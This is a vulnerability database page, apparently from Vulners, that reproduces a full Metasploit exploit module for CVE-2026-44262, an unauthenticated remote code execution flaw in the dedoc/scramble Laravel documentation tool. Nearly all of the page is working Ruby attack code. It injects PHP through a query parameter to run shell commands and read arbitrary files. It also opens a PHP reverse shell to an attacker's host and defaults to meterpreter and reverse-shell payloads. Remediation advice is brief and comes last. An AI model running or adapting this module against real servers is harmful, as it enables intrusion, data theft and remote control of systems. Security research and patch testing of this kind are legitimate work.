| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Exploit for CVE-2026-44262 | 7 May 202608:52 | โ | githubexploit | |
| CVE-2026-44262 | 12 May 202620:56 | โ | attackerkb | |
| CVE-2026-44262 | 7 May 202611:00 | โ | circl | |
| Scramble ไปฃ็ ๆณจๅ ฅๆผๆด | 12 May 202600:00 | โ | cnnvd | |
| CVE-2026-44262 | 12 May 202620:56 | โ | cve | |
| CVE-2026-44262 Scramble: Remote code execution via evaluation of user-controlled input in validation rules | 12 May 202620:56 | โ | cvelist | |
| scramble - Remote Code Execution | 27 May 202600:00 | โ | exploitdb | |
| Scramble vulnerable to remote code execution via evaluation of user-controlled input in validation rules | 6 May 202619:54 | โ | github | |
| Scramble Laravel - Remote Code Execution | 17 Jun 202605:14 | โ | nuclei | |
| CVE-2026-44262 | 12 May 202622:16 | โ | nvd |
==================================================================================================================================
| # Title : dedoc/scramble 0.13.2 Unauthenticated Remote Code Execution Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://laravel.com |
==================================================================================================================================
[+] Summary : This is a Metasploit exploit module for CVE-2026-44262, an unauthenticated remote code execution (RCE) vulnerability in the Laravel-based tool dedoc/scramble.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'dedoc/scramble Unauthenticated Remote Code Execution',
'Description' => %q{
CVE-2026-44262 is an unauthenticated Remote Code Execution vulnerability
in dedoc/scramble, a Laravel API documentation generator.
The vulnerability exists in NodeRulesEvaluator::doEvaluateExpression()
which calls extract($variables) before eval("return $code;"). When a
controller assigns `$request->input()` to a variable named `$code` and
uses it as a validation rule, Scramble tracks that variable and passes
it into the eval scope. An attacker can overwrite $code with arbitrary
PHP by supplying a crafted query parameter to `/docs/api.json`.
This module provides detection and exploitation capabilities including
command execution, file read, and reverse shell.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-44262'],
['URL', 'https://github.com/joshuavanderpoll/CVE-2026-44262'],
['URL', 'https://github.com/advisories/GHSA-4rm2-28vj-fj39'],
['URL', 'https://scramble.dedoc.co']
],
'DisclosureDate' => '2026-05-07',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for docs', '/docs/api']),
OptString.new('DOCS_PATH', [false, 'Full path to api.json (auto-detected if not set)']),
OptString.new('PARAM', [false, 'Vulnerable parameter name (auto-detected if not set)']),
OptInt.new('SLEEP_SECONDS', [false, 'Sleep seconds for timing detection', 4]),
OptEnum.new('ACTION', [true, 'Action to perform', 'DETECT', ['DETECT', 'EXECUTE', 'READ_FILE', 'SHELL']]),
OptString.new('READ_FILE', [false, 'File to read (when ACTION=READ_FILE)']),
OptBool.new('FORCE_OS', [false, 'Force OS detection bypass', false])
])
end
def docs_api_url
if datastore['DOCS_PATH'] && !datastore['DOCS_PATH'].empty?
path = datastore['DOCS_PATH']
else
base_path = datastore['TARGETURI'].chomp('.json')
path = base_path + '.json'
end
normalize_uri(target_uri.path, path)
end
def docs_ui_url
base_path = datastore['TARGETURI'].chomp('.json')
normalize_uri(target_uri.path, base_path)
end
def get_openapi_spec
res = send_request_cgi(
'method' => 'GET',
'uri' => docs_api_url
)
if res && res.code == 200
begin
return JSON.parse(res.body)
rescue JSON::ParserError
return nil
end
end
nil
end
def find_vulnerable_parameters(spec)
vulnerable = []
return vulnerable unless spec && spec['paths']
rule_pattern = /^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)/i
spec['paths'].each do |path, methods|
methods.each do |method, details|
next unless details['parameters']
details['parameters'].each do |param|
next unless param['in'] == 'query'
schema = param['schema'] || {}
default = schema['default'].to_s
if default =~ rule_pattern || default.include?('|')
vulnerable << {
'path' => path,
'param' => param['name'],
'method' => method.upcase
}
end
end
end
end
vulnerable
end
def get_server_info
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
info = {}
if res
info['server'] = res.headers['Server'] if res.headers['Server']
info['x_powered_by'] = res.headers['X-Powered-By'] if res.headers['X-Powered-By']
if res.body && res.body.include?('laravel')
version_match = res.body.match(/Laravel v?(\d+\.\d+\.\d+)/i)
info['laravel_version'] = version_match[1] if version_match
end
end
info
end
def detect_os(param)
print_status('Detecting target operating system...')
payload = 'print(php_uname("s"))'
output = execute_php_code(param, payload)
if output
os_lower = output.strip.downcase
if os_lower.include?('windows')
@target_os = 'windows'
elsif os_lower.include?('linux')
@target_os = 'linux'
elsif os_lower.include?('darwin')
@target_os = 'darwin'
else
@target_os = os_lower
end
print_good("Detected OS: #{@target_os}")
else
@target_os = 'unknown'
print_warning('Could not detect OS, assuming Unix-like')
end
end
def is_windows?
@target_os == 'windows'
end
def build_attack_url(param, payload)
query = { param => payload }
"#{docs_api_url}?#{query.to_query}"
end
def send_payload(param, payload, timeout = nil)
url = build_attack_url(param, payload)
opts = { 'method' => 'GET', 'uri' => url }
opts['timeout'] = timeout if timeout
send_request_cgi(opts)
end
def capture_output(param, payload)
res = send_payload(param, payload)
if res && res.body
# Output appears before JSON start
json_start = res.body.index('{')
if json_start && json_start > 0
return res.body[0...json_start].strip
elsif json_start == 0
return nil
else
return res.body.strip
end
end
nil
end
def execute_php_code(param, code)
wrapped = "(function(){ #{code} })()"
capture_output(param, wrapped)
end
def execute_command(param, cmd)
cmd_with_stderr = cmd.include?('2>') ? cmd : "#{cmd} 2>&1"
execute_php_code(param, "print(shell_exec(#{cmd_with_stderr.inspect}))")
end
def read_file(param, filepath)
execute_php_code(param, "print(file_get_contents(#{filepath.inspect}))")
end
def timing_probe(param, sleep_seconds)
print_status("Timing probe with sleep(#{sleep_seconds}) via param '#{param}'")
start = Time.now
send_payload(param, '')
baseline = Time.now - start
print_status("Baseline: #{'%.2f' % baseline}s")
start = Time.now
send_payload(param, "sleep(#{sleep_seconds})", sleep_seconds + datastore['WfsDelay'])
elapsed = Time.now - start
delay = elapsed - baseline
print_status("Attack response: #{'%.2f' % elapsed}s (delay: #{'%+.2f' % delay}s)")
triggered = delay >= (sleep_seconds * 0.75)
if triggered
print_good("VULNERABLE โ response delayed ~#{sleep_seconds}s")
else
print_error("Not triggered (no significant delay)")
end
triggered
end
def exec_probe(param)
print_status("Command execution probe via param '#{param}'")
cmd = is_windows? ? 'whoami' : 'id 2>&1'
output = execute_command(param, cmd)
if output && !output.empty?
print_good("VULNERABLE โ command output captured:")
print_line(output)
return true
else
print_error("No command output in response")
return false
end
end
def detect_vulnerability
print_status("Checking for vulnerable Scramble instance at #{docs_api_url}")
res = send_request_cgi('method' => 'GET', 'uri' => docs_api_url)
unless res && res.code == 200
print_error("Docs API not accessible (HTTP #{res&.code || 'no response'})")
return false
end
print_good("Docs API accessible")
spec = get_openapi_spec
unless spec
print_error("Failed to parse OpenAPI spec")
return false
end
if spec['info']
print_status("API Title: #{spec['info']['title']}") if spec['info']['title']
print_status("API Version: #{spec['info']['version']}") if spec['info']['version']
end
@vulnerable_params = find_vulnerable_parameters(spec)
if @vulnerable_params.empty?
print_error("No potentially vulnerable parameters found in spec")
return false
end
print_good("Found #{@vulnerable_params.length} potentially vulnerable parameter(s):")
@vulnerable_params.each do |vp|
print_status(" #{vp['method']} #{vp['path']} โ param '#{vp['param']}'")
end
true
end
def exploit_command(param, cmd)
print_status("Executing command: #{cmd}")
output = execute_command(param, cmd)
if output && !output.empty?
print_good("Command output:")
print_line(output)
return true
else
print_error("No output received")
return false
end
end
def exploit_read_file(param, filepath)
print_status("Reading file: #{filepath}")
content = read_file(param, filepath)
if content && !content.empty?
print_good("File contents:")
print_line(content)
store_loot(
'scramble.file',
'text/plain',
datastore['RHOST'],
content,
File.basename(filepath),
"File read from target: #{filepath}"
)
return true
else
print_error("Failed to read file (may not exist or not readable)")
return false
end
end
def exploit_reverse_shell(param, lhost, lport)
print_status("Preparing reverse shell to #{lhost}:#{lport}")
print_status("Ensure listener is running: nc -lvnp #{lport}")
shell_bin = is_windows? ? 'cmd.exe' : '/bin/sh'
php_payload = <<~PHP
(function(){
$s=@fsockopen('#{lhost}',#{lport},$e,$m,30);
if(!$s)return;
$p=proc_open('#{shell_bin}',array(0=>$s,1=>$s,2=>$s),$pipes);
if($p)proc_close($p);
fclose($s);
})()
PHP
print_status("Sending reverse shell payload...")
send_payload(param, php_payload, 3600)
print_good("Reverse shell payload sent. Check your listener.")
true
end
def exploit_php_code(param, code)
print_status("Executing PHP code: #{code}")
output = execute_php_code(param, code)
if output && !output.empty?
print_good("PHP code output:")
print_line(output)
return true
else
print_warning("No output from PHP code")
return true
end
end
def check
print_status("CVE-2026-44262 - dedoc/scramble RCE Check")
unless detect_vulnerability
return CheckCode::Safe("No vulnerable parameters found")
end
param = @vulnerable_params.first['param']
if timing_probe(param, datastore['SLEEP_SECONDS'])
return CheckCode::Vulnerable("Timing probe confirmed RCE")
else
return CheckCode::Appears("Potentially vulnerable, but timing probe failed")
end
end
def exploit
print_status("CVE-2026-44262 - dedoc/scramble RCE Exploit")
unless detect_vulnerability
fail_with(Failure::NotFound, "No vulnerable parameters found")
end
param = @vulnerable_params.first['param']
print_good("Using vulnerable parameter: #{param}")
unless datastore['FORCE_OS']
detect_os(param)
end
case datastore['ACTION']
when 'EXECUTE'
cmd = datastore['PAYLOAD'] ? payload.encoded : "id"
exploit_command(param, cmd)
when 'READ_FILE'
filepath = datastore['READ_FILE']
if filepath.nil? || filepath.empty?
fail_with(Failure::BadConfig, "READ_FILE path required for ACTION=READ_FILE")
end
exploit_read_file(param, filepath)
when 'SHELL'
lhost = datastore['LHOST']
lport = datastore['LPORT']
if lhost.nil? || lport.nil?
fail_with(Failure::BadConfig, "LHOST and LPORT required for reverse shell")
end
exploit_reverse_shell(param, lhost, lport)
else
print_status("\n[*] Running timing detection...")
timing_result = timing_probe(param, datastore['SLEEP_SECONDS'])
print_status("\n[*] Running command execution probe...")
exec_result = exec_probe(param)
print_status("\n" + "=" * 65)
print_status("SUMMARY")
print_status("=" * 65)
print_status("Target: #{peer}")
print_status("Vuln param: #{param}")
print_status("Timing probe: #{timing_result ? 'TRIGGERED' : 'clean'}")
print_status("Exec probe: #{exec_result ? 'TRIGGERED' : 'clean'}")
if timing_result || exec_result
print_good("\n*** VULNERABLE โ RCE confirmed ***")
print_status("\nRemediation:")
print_status(" 1. Update Scramble: composer require dedoc/scramble:^0.13.22")
print_status(" 2. Restrict docs access with middleware")
print_status(" 3. Disable docs in production")
else
print_status("\nNot exploitable via this vector")
end
print_status("=" * 65)
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation